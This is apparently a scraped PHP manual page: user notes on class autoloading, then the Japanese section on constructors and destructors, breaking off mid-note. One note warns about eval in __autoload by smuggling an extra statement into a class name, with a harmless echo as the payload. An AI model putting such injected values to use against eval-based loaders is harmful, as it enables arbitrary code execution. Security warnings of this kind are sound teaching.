Just a small autoload class (that works if you use corretly names, namespaces, uses and so on) found elsewhere with a small modification for linux:

<?php
//from http://www.phpfreaks.com / tutorial / oo - php - part - 1 - oop - in - full - effect
function __autoload($className)  {
  var_dump($className);
  $file = str_replace('\\', DIRECTORY_SEPARATOR, $className) . '.php';
  var_dump($file);

  var_dump(file_exists($file));
  if (!file_exists($file)) {
    return false;
  }
  else {
    require $file;
    return true;
  }
}
?>
julian at jxmallett dot com 15-Dec-2013 11:41
The tip to use spl_autoload_register() instead of __autoload() should be taken seriously. It seems that __autoload() doesn't always get called when calling an unloaded class within a class, eg:

<?php
class MyClass {
    public static function doStuff() {
        //do some stuff
        $a = MyOtherClass::otherStuff();
    }
}
?>

Code similar to that gave me a 'class not found' error when using __autoload(). Using spl_autoload_register() with the exact same autoload function fixed the problem.
tlang at halsoft dot com 14-Feb-2013 09:56
This page states that autoloading does not work when PHP is used in CLI mode but a simple test seems to contradict this.

Create a file /tmp/Foo.php containing:

<?php
class Foo {
    public function __construct() {
        echo "Inside the Foo constructor\n";
    }
}
?>

Create a script (NOT in /tmp) containing:

<?php

function test_autoload($class) {
    require_once '/tmp/'.$class.'.php';
}

spl_autoload_register('test_autoload');
$foo = new Foo();
?>

Execute the script on the command line. The echo statement in the constructor produces output to STDOUT.

This also works with __autoload

<?php

function __autoload($class) {
    require_once '/tmp/'.$class.'.php';
}

$foo = new Foo();
?>
qfox at ya dot ru 16-Nov-2011 02:48
More simpler example of using spl_autoload_register in 5.3:
<?php
spl_autoload_register(function($classname) /* usign $app */ {
  # ... your logic to include classes here
});
?>
fka at fatihkadirakin dot com 31-Jul-2010 06:16
Or you can use this, without using any "require/include":

<?php
class autoloader {

    public static $loader;

    public static function init()
    {
        if (self::$loader == NULL)
            self::$loader = new self();

        return self::$loader;
    }

    public function __construct()
    {
        spl_autoload_register(array($this,'model'));
        spl_autoload_register(array($this,'helper'));
        spl_autoload_register(array($this,'controller'));
        spl_autoload_register(array($this,'library'));
    }

    public function library($class)
    {
        set_include_path(get_include_path().PATH_SEPARATOR.'/lib/');
        spl_autoload_extensions('.library.php');
        spl_autoload($class);
    }

    public function controller($class)
    {
        $class = preg_replace('/_controller$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/controller/');
        spl_autoload_extensions('.controller.php');
        spl_autoload($class);
    }

    public function model($class)
    {
        $class = preg_replace('/_model$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/model/');
        spl_autoload_extensions('.model.php');
        spl_autoload($class);
    }

    public function helper($class)
    {
        $class = preg_replace('/_helper$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/helper/');
        spl_autoload_extensions('.helper.php');
        spl_autoload($class);
    }

}

//call
autoloader::init();
?>
ej at campbell dot name 03-Apr-2010 11:21
You don't need exceptions to figure out if a class can be autoloaded. This is much simpler.

<?php
//Define autoloader
function __autoload($className) {
      if (file_exists($className . '.php')) {
          require_once $className . '.php';
          return true;
      }
      return false;
}

function canClassBeAutloaded($className) {
      return class_exists($className);
}
?>
tom at r dot je 11-Mar-2010 03:30
To find out whether a class can be autoloaded, you can use autoload in this way:

<?php
//Define autoloader
function __autoload($className) {
    if (file_exists($className . '.php')) require $className . '.php';
    else throw new Exception('Class "' . $className . '" could not be autoloaded');
}

function canClassBeAutloaded($className) {
    try {
        class_exists($className);
        return true;
    }
    catch (Exception $e) {
        return false;
    }
}
?>
Anonymous 08-Feb-2010 03:35
It's worth to mention, if your operating system is case-sensitive you need to name your file with same case as in source code eg. MyClass.php instead of myclass.php
khan at swcombine dot com 05-Nov-2009 05:38
As an addendum to #91119 I would suggest adding class_exists() into that solution. I've just implemented autoloading based on the code provided there and ran into a problem where a file had the same name as a class, existed in the directory structure prior to the file that had the actual class and as a result was being included first and resulting in a 'class not found' error.

<?php
if(file_exists($path)) {
    require_once $path;
    if(class_exists($class_name)) {
        return;
    }
}
?>
Peminator 07-Jul-2009 07:01
My idea for autoloading FUNCTIONS however only in a weird way :

<?php
function ex($parms)
{
   $argvar = func_get_args();
   $func = $argvar[0];
   $funcargs = array_slice($argvar,1);

if (function_exists($func))
   {
   $returnvalue = call_user_func_array($func,$funcargs);
   }
else
   {
   $funcpath = "scripts/".$func.".php";
   require_once($funcpath);

   if (function_exists($func))
      {
      $returnvalue = call_user_func_array($func,$funcargs);
      }
   else
      {
         die "SORRY  $func IS NOT USABLE";
      }
   }

// return returned value :-)
return $returnvalue;
}
?>

USAGE EXAMPLE:
must be caled using the X function giving the real function as first parameter, like:
$result = ex("add",1,2);
// returns 3 if add function defined in add.php sums the first and second parameter..
roman dot drapeko at gmail dot com 05-Apr-2009 04:33
Hi there,

I have developed a small script, that can scan recursively folders and files ang generate array of associations between classes/interfaces and their locations. It accepts several incoming parameters and it's very simple to use.

An example of generated array is shown bellow.

<?php

    $autoload_list = array (
      'classes' => array (
        'A' => array ('path' => 'Project/Classes/Children/A.php',
          'extends' => array (), 'implements' => array ('I1')),
        'C' => array ('path' => 'Project/Classes/C.php',
          'extends' => array ('B'), 'implements' => array ('I1', 'I3')),
      ),
      'interfaces' => array (
        'I2' => array ('path' => 'Project/Interfaces/blablabla.php', 'extends' => array ('I1')),
        'I1' => array ('path' => 'Project/Interfaces/I1.php', 'extends' => array ()),
      ),
    );
?>

When you know names and their locations, you know everything to load these classes.

It uses regular expressions to identify if class/interfaces is located in the current file.

I tried to post the code, but it's very long. You can download the script from http://wp.drapeko.com/store/php-autoloading-files/.
claude dot pache at gmail dot com 11-Mar-2009 07:04
About static classes that need initialisation before use (problem discussed by adam at greatbigmassive dot net and kalkamar at web dot de below).

Simple problems have often simple solutions. Here is my approach:

First, my __autoload function is very simple:
<?php
function __autoload ($class_name)
{
    if (preg_match('|^\w+$|', $class_name))
        include "./packages/$class_name.php";
}
?>
(The "if/preg_match" line is just a simple yet robust security check. Moreover I use "include" and not "require"/"require_once", so that if the file is not found, the __autoload function does nothing, and my script dies eventually with a meaningful "Class 'foo' not found"  fatal error.)

Now, when I define a class "foo" which requires initialisation before use, I just write the initialisation code after the definition of the class in the file "packages/foo.php":

<?php
/** Content of file "packages/foo.php" **/
class foo
{
    /* definition of the class is found here */
}

/* initialisation code of the class is found here. */

/** End of file "packages/foo.php" **/
?>

That's it. No need for an <? init() ?> or a <? __construct() ?> method.
jarret dot minkler at gmail dot com 07-Mar-2009 10:55
You should not have to use require_once inside the autoloader, as if the class is not found it wouldn't be trying to look for it by using the autoloader.

Just use require(), which will be better on performance as well as it does not have to check if it is unique.
pinochet dot pl at gmail dot com 04-Jan-2009 01:11
To use autoload function with namespaces you should remember to define it in main scope in "\" namespace.
zachera 31-Dec-2008 04:55
I found out a neat way to centralize one single class which will give accessibility to other classes.  I also added a parameter to the __construct method which would be an array of classes you want loaded.  This isn't completely necessary, but it will stop "excessive memory" if you're loading a bunch of unused classes.

<?php
class Bot {
    private $classes = array (
        'Socket' => "connection/class.Socket.php",
        'Input'  => "io/class.Input.php",
        'Output' => "io/class.Output.php",
        'Parse'  => "io/parse/class.Parse.php"
    );
    public $Socket, $Input, $Output, $Parse; // Accessible by other classes

    public function __construct($load=false){
        if(is_array($load)){
            foreach($load as $class){
                if(isset($this->classes[$class])){
                    require($this->classes[$class]);
                    $this->$class = new $class($this);
                }
            }
        } else {
            foreach($this->classes as $class => $path){
                require($path);
                $this->$class = new $class($this);
            }
        }
    }
}
?>
kalkamar at web dot de 07-Oct-2008 10:23
Because static classes have no constructor I use this to initialize such classes.
The function init will (if available) be called when you first use the class.
The class must not be included before, otherwise the init-function wont be called as autoloading is not used.

<?php
function __autoload($class_name)
{
    require_once(CLASSES_PATH.$class_name.'.cls.php');
    if(method_exists($class_name,'init'))
        call_user_func(array($class_name,'init'));
    return true;
}
?>

I use it for example to establish the mysql-connection on demand.

It is also possilbe do add a destructor by adding this lines to the function:
<?php
if(method_exists($class_name,'destruct'))
    register_shutdown_function(array($class_name,'destruct'));
?>
jbarker at erepublic dot com 17-Sep-2008 08:34
In a subclass, I was trying to call an overridden parent method with an arbitrary number of arguments:

<?php
call_user_func_array(array('parent', 'someNonStaticMethod'), $args);
?>

It turns out this triggers an E_STRICT level warning. So I changed to this:

<?php
call_user_func_array(array($this, 'parent::someNonStaticMethod'), $args);
?>

This doesn't trigger any warnings, but it has the undesirable (if not downright buggy) effect of calling my __autoload() function with the argument 'parent'. I had to modify __autoload() to handle this special situation:

<?php
function __autoload($cls)
{
    if ('parent' != $cls)
    {
        require("class.$cls.php");
    }
}
?>

Tested on Linux with PHP 5.1.6 and 5.2.5.
matias dot cohen at gmail dot com 01-Aug-2008 04:33
Another way of throwing exceptions inside an __autoload() function:
<?php

function myExceptionHandler($e) {
    // Add code here
}

set_exception_handler('myExceptionHandler');

function __autoload($class) {
    if (class_exists($class, false) || interface_exists($class, false)) {
        return;
    }
    try {
        @require_once('path/to/' . $class . '.php');
        if (!class_exists($class, false) || !interface_exists($class, false)) {
            throw new Exception('Class ' . $class . ' not found');
        }
    }
    catch (Exception $e) {

        myExceptionHandler($e);
    }
}

?>
chris (at) xeneco (dot) co (dot) uk 04-Jul-2008 06:21
I'm very taken with the autoload function, and thought I would share with you my implementation of it:
<?php
function __autoload($class_name) {

    //my settings class is a singleton instance that has parsed an ini file containing the locations of all classes
    $settings = Settings::Load();
    $classes = $settings->getSettings('classes');

    $path = $classes[$class_name];

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        clearstatcache();
        $classes = $settings->ReLoadSettings();
        $path = $classes['classes'][$class_name];
    }

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        die("The requested library,".$class_name.", could not be found at ".$classes[$class_name][$i].". Please check your ini file");
    }
}
?>
james dot dot dot dunmore at gmail dot com 18-Apr-2008 04:43
Andrew: 03-Nov-2006 12:26

That seems a bit messy to me, this is a bit neater:
<?php
    function __autoload($class_name)
    {
        //class directories
        $directorys = array(
            'classes/',
            'classes/otherclasses/',
            'classes2/',
            'module1/classes/'
        );

        //for each directory
        foreach($directorys as $directory)
        {
            //see if the file exsists
            if(file_exists($directory.$class_name . '.php'))
            {
                require_once($directory.$class_name . '.php');
                //only require the class once, so quit after to save effort (if you got more, then name them something else
                return;
            }
        }
    }
muratyaman at gmail dot com 28-Jan-2008 07:57
__autoload() function can be very useful to optimize your code esp. when you have so many classes.

Unlike class extensions, optional parameters with class restrictions may not load your class.

<?php
class bClass{
  function fun($p1, aClass $p2=NULL){
    //do something
  }
}

//depending on the usage
$b = new bClass();
$b->fun('No!');//this will not load class file for aClass
$b->fun('Really?', new aClass('Yes!'));//this will

?>

So, it's very encouraging to use classes everywhere!
Even encapsulating your functions inside simple classes to use like static modules, will help a lot!

Let's say, you have <b>50k</b> lines of code inside <b>100</b> classes/files.. If you need a simple task to do very quickly, you should not be loading all of those files, except the ones you need.

Though, it may be dangerous on some cases regarding the dependencies, load order, etc. Carefully design your classes.
richard [at ] xanox [dot] net 05-Dec-2007 07:46
I've made this little script here which looks in a dir, and loads all the classed, and includes their files.

$myDirectory = opendir("required/classes");

// get each entry
while($entryName = readdir($myDirectory)) {
    $dirArray[] = $entryName;
}

// close directory
closedir($myDirectory);

//    count elements in array
$indexCount    = count($dirArray);
sort($dirArray);

for($index=0; $index < $indexCount; $index++) {
    if($dirArray[$index] != '.' AND $dirArray[$index] != '..') {
        include("required/classes/$dirArray[$index]");
        $classname = strtolower($dirArray[$index]);
        $classname = str_replace('.php','',$classname);
        $classinit = str_replace('.php','',$dirArray[$index]);

        $$classname = new $classinit;
    }
}
rojoca 04-Oct-2007 08:38
Be careful when using eval (as always) in __autoload. The following:

<?php

echo 'Start->';

function __autoload($class) {
    eval('class ' . $class . ' {};');
}

$class = 'Class1{}; echo "uh oh"; class Class2';

$obj = new $class;

echo 'end';
?>

outputs:

Start->uh oh

You can use preg_replace to clean up $class to prevent executing abitrary code but in this case you won't be able to throw a catchable exception and your script will end with a fatal error.
christian.reinecke at web.de 23-Sep-2007 09:28
do not use is_subclass_of() in your __autoload() function to identify a class type and thereby its path (f.e exceptions). is_subclass_of() needs to know the class, but you want to check BEFORE you include the class.
peter dot gooman at gmail dot com 17-Jun-2007 08:33
Before you start using __autload, remember that it holds no scope/namespace. This means that if you are depending on third party applications and they have an autoload function defined and so do you, your application will error.

To remedy this, everyone should look at the spl_autoload functions, eg: spl_autoload_register. This function allows more than one custom functions to be called through the default spl_autoload (default __autoload) handler.
david dot thalmann at gmail dot com 02-Feb-2007 07:19
Note to Ricos posting:
A lot of useless Coding. However, I improved the code, so now it will be able to find any folders ("." and ".." will not being tested... oO) and search as deep as possible. Now it will find CLASS_DIR/foo/bar.class.php also like CLASS_DIR/foo/bar/baz/buz/fii/and/so/on/class.php

Warning: This code will check ALL dirs who're "deeper" / "lower" than the class dir, so prevent deeply hidden files (or use just a few folders).

Improved Version:
<?php

// change this, if this code isn't "higher" than ALL classfiles
define("CLASS_DIR", dirname(__FILE__));

/**
 * autoload classes (no need to include them one by one)
 *
 * @uses classFolder()
 * @param $className string
 */
function __autoload($className) {
    $folder = classFolder($className);

    if($folder)
        require_once($folder.$className.".class.php");
}

/**
 * search for folders and subfolders with classes
 *
 * @param $className string
 * @param $sub string[optional]
 * @return string
 */
function classFolder($className, $sub = "/") {
    $dir = dir(CLASS_DIR.$sub);

    if(file_exists(CLASS_DIR.$sub.$className.".class.php"))
        return CLASS_DIR.$sub;

    while(false !== ($folder = $dir->read())) {
        if($folder != "." && $folder != "..") {
            if(is_dir(CLASS_DIR.$sub.$folder)) {
                $subFolder = classFolder($className, $sub.$folder."/");

                if($subFolder)
                    return $subFolder;
            }
        }
    }
    $dir->close();
    return false;
}

?>
Rico 04-Jan-2007 05:00
This autoload function searches for the class Location before requiring it. So there's no need of putting the classes all in one folder.

Requirements:
 - the subfolders must be at least 3 letters long
 - the filenames must be in the form CLASSNAME.class.php

Note:
 - in this example the main class folder is 'lib'

define('ROOT_DIR', dirname(__FILE__).'/');

function __autoload($className) {
    $folder=classFolder($className);
    if($folder) require_once($folder.'/'.$className.'.class.php');
}

function classFolder($className,$folder='lib') {
    $dir=dir(ROOT_DIR.$folder);
    if($folder=='lib' && file_exists(ROOT_DIR.$folder.'/'.$className.'.class.php')) return $folder;
    else {
        while (false!==($entry=$dir->read())) {
            $checkFolder=$folder.'/'.$entry;
            if(strlen($entry)>2) {
                if(is_dir(ROOT_DIR.$checkFolder)) {
                    if(file_exists(ROOT_DIR.$checkFolder.'/'.$className.'.class.php')) return $checkFolder;
                    else {
                        $subFolder=classFolder($className,$checkFolder);
                        if($subFolder) return $subFolder;
                    }
                }
            }
        }
    }
    $dir->close();
    return 0;
}
Chris Corbyn (chris AT w3style.co.uk) 08-Sep-2006 06:23
I'm sure this is needed by more than me.

My objective was to allow __autoload() to be easily extended in complex systems/frameworks where specific libraries etc may need loading differently but you don't want to hard-code little adjustments into your working __autoload() to allow this to happen.

Using a ServiceLocator object with some static methods and properties to allow loosely coupled locators to be attached to it you can swap/change and add to the functionality of your __autoload() at runtime.

The core stuff:
<?php

/**
 * Defines the methods any actual locators must implement
 * @package ServiceLocator
 * @author Chris Corbyn
 */
interface Locator
{
    /**
     * Inform of whether or not the given class can be found
     * @param string class
     * @return bool
     */
    public function canLocate($class);
    /**
     * Get the path to the class
     * @param string class
     * @return string
     */
    public function getPath($class);
}

/**
 * The main service locator.
 * Uses loosely coupled locators in order to operate
 * @package ServiceLocator
 * @author Chris Corbyn
 */
class ServiceLocator
{
    /**
     * Contains any attached service locators
     * @var array Locator
     */
    protected static $locators = array();

    /**
     * Attach a new type of locator
     * @param object Locator
     * @param string key
     */
    public static function attachLocator(Locator $locator, $key)
    {
        self::$locators[$key] = $locator;
    }
    /**
     * Remove a locator that's been added
     * @param string key
     * @return bool
     */
    public static function dropLocator($key)
    {
        if (self::isActiveLocator($key))
        {
            unset(self::$locators[$key]);
            return true;
        }
        else return false;
    }
    /**
     * Check if a locator is currently loaded
     * @param string key
     * @return bool
     */
    public static function isActiveLocator($key)
    {
        return array_key_exists($key, self::$locators);
    }
    /**
     * Load in the required service by asking all service locators
     * @param string class
     */
    public function load($class)
    {
        foreach (self::$locators as $key => $obj)
        {
            if ($obj->canLocate($class))
            {
                require_once $obj->getPath($class);
                if (class_exists($class)) return;
            }
        }
    }
}

/**
 * PHPs default __autload
 * Grabs an instance of ServiceLocator then runs it
 * @package ServiceLocator
 * @author Chris Corbyn
 * @param string class
 */
function __autoload($class)
{
    $locator = new ServiceLocator();
    $locator->load($class);
}

?>

An example Use Case:
<?php

require 'ServiceLocator.php';

//Define some sort of service locator to attach...
class PearLocator implements Locator
{
    protected $base = '.';

    public function __construct($directory='.')
    {
        $this->base = (string) $directory;
    }

    public function canLocate($class)
    {
        $path = $this->getPath($class);
        if (file_exists($path)) return true;
        else return false;
    }

    public function getPath($class)
    {
        return $this->base . '/' . str_replace('_', '/', $class) . '.php';
    }
}

// ... attach it ...
ServiceLocator::attachLocator(new PearLocator(), 'PEAR');

// ... and code away....
$foo = new Foo_Test();

?>
gonix 03-Aug-2006 06:39
in response to alexey at renatasystems dot org:

You may add ``global $somedata;`` before ``$somedata = 'Some data';`` and it should work as expected.

file bar.class.php:

<?php

global $somedata;
$somedata = 'Some data';    /* global scope in common way */

class bar {

   function __construct()
   {
       global $somedata;    /* reference to global scope variable */

       if ( isset($somedata) )
       {
           var_dump($somedata);
       }
       else
       {
           die('No data!');
       }
   }
}
?>

'common way':
<?php

require 'bar.class.php';

$foo = new bar();

?>

'__autoload way':
<?php

function __autoload($classname)
{
   require $classname . '.class.php';
}

$foo = new bar();

?>

Both 'comon way' and '__autoload way' should give same result:
string(9) "Some data"
alexey at renatasystems dot org 06-Jul-2006 12:15
While using an "autoloading" method you should pay attention to variables scope. Because of new file will be included INSIDE of magic function __autoload - all of declared in such file global scope variables will be only available within this function and nowhere else. This will cause strange behaviour in some cases. For example:

file bar.class.php:

<?php

$somedata = 'Some data';     /* global scope in common way */

class bar {

    function __construct()
    {
        global $somedata;    /* reference to global scope variable */

        if ( isset($somedata) )
        {
            var_dump($somedata);
        }
        else
        {
            die('No data!');
        }
    }
}
?>

Attempt to load this file in common way:

<?php

require 'bar.class.php';

$foo = new bar();

?>

this will output (as expected):

string(9) "Some data"

But in case of __autoload:

<?php

function __autoload($classname)
{
    require $classname . '.class.php';
}

$foo = new bar();

?>

you could expect that this script will return the same but no, it will return "No data!", because defenition of $somedata after requiring treats as local within user-defined function __autoload().
RQuadling at GMail dot com 08-Mar-2006 12:55
An issue I've had with using the __autoload function is getting it into the application.

You have to have the function included in every topmost script. This is a pain if the entire application is OOP and an "app" can be just a component of another "app".

A solution I've found is to use php.ini's auto_prepend_file setting.

Mine is set to ...

auto_prepend_file = auto_loader.php

The auto_loader.php script contains a single function. The __autoload() function.

The include_dir path IS examined to find this file, so you can just put it with the rest of your includable files.

A useful additional facility here is that you could log which classes are used by a script at runtime. Very useful if you have object factories and can't know the load at design time.

Also, assigning the uncaught exception handler and the error handlers in this file means your entire site WILL have some global protection without you having to deal with it on a script by script basis.

If you do not have access to the PHP.INI file, or you are running on a shared server, you may not be able to set this property. In those cases, you may be able to set the value using .htaccess. (NOTE: UNTESTED as I don't use Apache).

<IfModule mod_php5.c>
  php_value auto_prepend_file "auto_loader.php"
</IfModule>

You COULD therefore have a different set of rules per subdomain (if you have multiple subdomains, say, live, test, beta, devel) or whatever takes your fancy.

For more details on this see the "Description of core php.ini directives" (http://www.php.net/manual/en/ini.core.php)
dave60 /at/ gmail /dot/ com 29-Dec-2005 01:25
In reply to quetzalcoatl:

Generally, I would advise for each class to have it's own file, and hold nothing besides that class. Just define __autoload() in a/the infrastructure file -- a/the file that does the behavioral logic, and there should be no need to redefine it in a class' file.
me at mydomain dot com 11-Nov-2005 04:07
You can enable this behaviour for undefined classes while unserializing objects by setting the .ini-variable 'unserialize_callback_func' to '__autoload'.
petyo()architect . bg 30-Jan-2005 01:27
The following function may be useful if you want to simulate namespaces and autoloading behavior:

define ("CLASS_ROOT", '/classes/');
function __autoload ($className)
{
    require_once CLASS_ROOT.str_replace('_', '/', $className).'.class.php';
}

Then you will just have to use the folder structure and name the classes accordingly. If you want to have a class named Page, which will be in the pseudo namespace System.Web.UI, create a directory named System in /classes, then create Web, then UI, then name the class System_Web_UI_Page. Kind of long to type if you don't have autocomplete, but at least you will not have to manage the loading of all the classes' definitions.


コンストラクタとデストラクタ

コンストラクタ

__construct ( mixed ...$values = "" ) : void

PHP では、開発者がクラスのコンストラクタメソッドを宣言することが できます。コンストラクタメソッドを有するクラスは、新たにオブジェクトが 生成される度にこのメソッドをコールします。これにより、 そのオブジェクトを使用する前に必要な初期化を行うことができます。

注意: 子クラスがコンストラクタを有している場合、親クラスのコンストラクタが 暗黙の内にコールされることはありません。 親クラスのコンストラクタを実行するには、子クラスのコンストラクタの 中で parent::__construct() をコールすることが 必要です。 子クラスでコンストラクタを定義していない場合は、親クラスのコンストラクタを継承します (ただし、private 宣言されている場合は除く)。 これは、通常のクラスメソッドと同様です。

例1 継承とコンストラクタ

<?php
class BaseClass {
    function __construct() {
        print "In BaseClass constructor\n";
    }
}

class SubClass extends BaseClass {
    function __construct() {
        parent::__construct();
        print "In SubClass constructor\n";
    }
}

class OtherSubClass extends BaseClass {
    // BaseClass のコンストラクタを継承します
}

// In BaseClass constructor
$obj = new BaseClass();

// In BaseClass constructor
// In SubClass constructor
$obj = new SubClass();

// In BaseClass constructor
$obj = new OtherSubClass();
?>

他のメソッドと異なり、__construct() を子クラスでオーバライドしても、 シグネチャの互換性に関するルール は適用されません。

コンストラクタは、対応するオブジェクトを初期化する間に呼び出されるメソッドです。 よって、任意の数の引数を取ることが出来ます。 この引数は必須にすることもできますし、型宣言もできますし、デフォルト値を取ったりすることもできます。 コンストラクタの引数は、クラス名の後の括弧に、引数を置くことで指定することが出来ます。

例2 コンストラクタを引数と一緒に使う

<?php
class Point {
    protected int $x;
    protected int $y;

    public function __construct(int $x, int $y = 0) {
        $this->x = $x;
        $this->y = $y;
    }
}

// 引数を両方渡す
$p1 = new Point(4, 5);
// 必須の引数のみを渡す。$y はデフォルト値0になります。
$p2 = new Point(4);
// 名前付き引数(PHP 8.0 以降):
$p3 = new Point(y: 5, x: 4);
?>

クラスにコンストラクタが存在しない場合、あるいは、コンストラクタに必須の引数がない場合、 括弧は省略できます。

古いスタイルのコンストラクタ

PHP 8.0.0 より前のバージョンでは、グローバル名前空間にあるクラスは、 クラス名と同じ名前のメソッドが古いスタイルのコンストラクタとして解釈されます。 この文法は推奨されておらず、E_DEPRECATED が発生するものの、 まだこの関数をコンストラクタとして呼び出すことが出来ます。 __construct() とクラス名と同じ名前のメソッドが両方定義されていた場合は、 __construct() がコンストラクタとして呼び出されます。

名前空間の中に存在するクラスについては、 PHP 8.0.0 以降では、 クラス名と同じ名前のメソッドはなんの意味も持ちません。

新しいコードでは、常に __construct() を使うようにしましょう。

コンストラクタのプロモーション

PHP 8.0.0 以降では、コンストラクタの引数を 対応するオブジェクトのプロパティに昇格させることができます。 コンストラクタの引数をプロパティに代入し、それ以外の操作を行わないことはよくあることです。 コンストラクタのプロモーションは、こういった場合の短縮記法を提供します。 「コンストラクタを引数と一緒に使う」の例は、次のように書き直すことが出来ます。

例3 コンストラクタのプロモーションを使う

<?php
class Point {
    public function __construct(protected int $x, protected int $y = 0) {
    }
}

コンストラクタの引数に、アクセス権の修飾子が含まれている場合、 PHP はそれをオブジェクトのプロパティ、かつコンストラクタの引数であると解釈します。 そして、その引数の値をプロパティに代入します。 コンストラクタの本体は空にすることもできますし、 他の文を含めることも出来ます。 引数の値が対応するプロパティに代入された後、 追加の文が実行されます。

全ての引数をプロパティに昇格させる必要はありません。 昇格させる引数と、させない引数を混ぜることもできます。 プロパティに昇格した引数は、コンストラクタの呼び出しコードになんの影響も与えません。

注意:

PHP のエンジンが曖昧になってしまうため、 オブジェクトのプロパティは、callable 型にすることは出来ません。 そのため、昇格させる引数も callable 型にはできません。 しかし、それ以外の 型宣言 は許されています。

注意:

昇格したコンストラクタの引数に指定された アトリビュート は、 プロパティと引数の両方にコピーされます。

静的な生成メソッド

PHP は、クラスひとつにつき、コンストラクタをひとつだけサポートしています。 しかし、場合によっては異なる入力を使い、 異なるやり方でオブジェクトを生成させるのが望ましい場合もあります。 その場合におすすめなのが、静的メソッドをコンストラクタのラッパーとして使うことです。

例4 静的な生成メソッドを使う

<?php
class Product {

    private ?int $id;
    private ?string $name;

    private function __construct(?int $id = null, ?string $name = null) {
        $this->id = $id;
        $this->name = $name;
    }

    public static function fromBasicData(int $id, string $name): static {
        $new = new static($id, $name);
        return $new;
    }

    public static function fromJson(string $json): static {
        $data = json_decode($json);
        return new static($data['id'], $data['name']);
    }

    public static function fromXml(string $xml): static {
        // Custom logic here.
        $data = convert_xml_to_array($xml);
        $new = new static();
        $new->id = $data['id'];
        $new->name = $data['name'];
        return $new;
    }
}

$p1 = Product::fromBasicData(5, 'Widget');
$p2 = Product::fromJson($some_json_string);
$p3 = Product::fromXml($some_xml_string);

コンストラクタは外部から呼ばれることを防ぐため、private または protected にしておきます。 この場合、静的メソッドだけがクラスをインスタンス化するのに使えます。 なぜなら、静的メソッドは、同じオブジェクトのインスタンスでなくとも、 private なメソッドにアクセスできる同じクラスのメソッド定義として存在するからです。 コンストラクタを private にすることはオプションです。使い方によっては意味がないかもしれません...

上の public な静的メソッドは、オブジェクトをインスタンス化する3つの異なるやり方を示しています。

  • fromBasicData() は、必要となる必須の引数を取り、 コンストラクタを呼ぶことでオブジェクトを生成し、その結果を返します。
  • fromJson() は、JSON文字列を受け取り、 コンストラクタで必要なフォーマットに変換するための前処理を行います。 その上で、新しいオブジェクトを返します。
  • fromXml() は、XML文字列を受け取り、前処理をします。 そして生のオブジェクトを生成します。コンストラクタは呼び出されていますが、 全ての引数はオプションなので、その実行はスキップされます。 結果を返す前に、オブジェクトのプロパティに直接値を代入しています。

上の3つの場合全てで、static キーワードはコードが存在するクラスの名前として解釈されます。 この場合は Product です。

デストラクタ

__destruct ( ) : void

PHP には、C++ のような他のオブジェクト指向言語に似たデストラクタの概念があります。 デストラクタメソッドは、 特定のオブジェクトを参照するリファレンスがひとつもなくなったときにコールされます。 あるいは、スクリプトの終了時にも順不同でコールされます。

例5 デストラクタの例

<?php

class MyDestructableClass
{
    function __construct() {
        print "In constructor\n";
    }

    function __destruct() {
        print "Destroying " . __CLASS__ . "\n";
    }
}

$obj = new MyDestructableClass();

コンストラクタと同様、親クラスのデストラクタがエンジンにより暗黙のうちに コールされるということはありません。親クラスのデストラクタを実行するには、 デストラクタの中で明示的に parent::__destruct() をコールする必要があります。 また、コンストラクタと同様、子クラスでデストラクタを定義していない場合は 親クラスのデストラクタを継承します。

exit() でスクリプトの実行を止めた場合にもデストラクタはコールされます。 デストラクタの内部で exit() をコールすると、 それ以降のシャットダウンルーチンを実行しません。

注意:

スクリプトのシャットダウン時にデストラクタがコールされた場合は、 HTTP ヘッダはすでに送信されています。スクリプトのシャットダウン時の作業ディレクトリは、 SAPI によっては (たとえば Apache など) 異なります。

注意:

デストラクタの中から (スクリプトの終了処理時に) 例外をスローしようとすると、致命的なエラーを引き起こします。

User Contributed Notes

instatiendaweb at gmail dot com 27-Feb-2021 10:07
/**
 * Haciendo una prueba con dos clases y dos destructores
 * La prueba consta de acceder a la variable global del primer objeto en el segundo
 * objeto el destructor 2
 * Primera clase ==> $GLOBALS['obj']
 * SEgunda clase ==> $GLOBALS['obj2']
 * Se ejecuta construct y todo el codigo....
 * Primer destruct borra el objeto y lo hace null
 * Tratamos de acceder a $GLOBALS['obj'] en el segundo destruct pero
 * ya no esta es un objeto null
 * Warning: Undefined array key "obj" in...
 */

class MyDestructableClass{
public $parametro;

     function __construct($parametro) {
echo("<div class=\"div\">"), "Construyendo ",__CLASS__ , ("</div>");
         escribir::verifacionnota($this ,'Antes de guardar la variable  ');
         $this->parametro = $parametro;
         escribir::verifacionnota($this ,'Despues de guardar la variable  ');
     }

     function __destruct() {
        escribir::linea(5); //Separador
        echo("<div class=\"div\">"), "Destruyendo " ,  __CLASS__ , ("</div>");
        escribir::verifacionnota($this ,'Antes de borrar la variable  ');
        unset($this->parametro);
        escribir::verifacionnota($this ,'Despues de borrar la variable  ');

       // unset($GLOBALS[$this]);
     }
 }

 $obj = new MyDestructableClass('parametroone');
 escribir::verifacionnota($obj ,' Verificar la clase MyDestructableClass, no es necesario
 borrar la clase porque se ejecuta al final del script  ');
 escribir::titulosep('Provando ejemplo aqui se puede acceder a la variable global');
 escribir::verificacion($GLOBALS['obj']);

class destructora{
    function __destruct(){
        escribir::titulosep('Sin embargo esta variable muere aqui');
        escribir::verificacion($GLOBALS['obj']);
    }
}

$obj2 = new destructora();
iwwp at outlook dot com 16-Jan-2020 07:58
To better understand the __destrust method:

class A {
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
        echo "construct {$this->id}\n";
    }

    public function __destruct()
    {
        echo "destruct {$this->id}\n";
    }
}

$a = new A(1);
echo "-------------\n";
$aa = new A(2);
echo "=============\n";

The output content:

construct 1
-------------
construct 2
=============
destruct 2
destruct 1
domger at freenet dot de 14-Aug-2017 07:53
The __destruct magic method must be public.

public function __destruct()
{
    ;
}

The method will automatically be called externally to the instance.  Declaring __destruct as protected or private will result in a warning and the magic method will not be called.

Note: In PHP 5.3.10 i saw strange side effects while some Destructors were declared as protected.
Yousef Ismaeil cliprz[At]gmail[Dot]com 22-Aug-2013 09:06
<?php

/**
 * a funny example Mobile class
 *
 * @author Yousef Ismaeil Cliprz[At]gmail[Dot]com
 */

class Mobile {

    /**
     * Some device properties
     *
     * @var string
     * @access public
     */
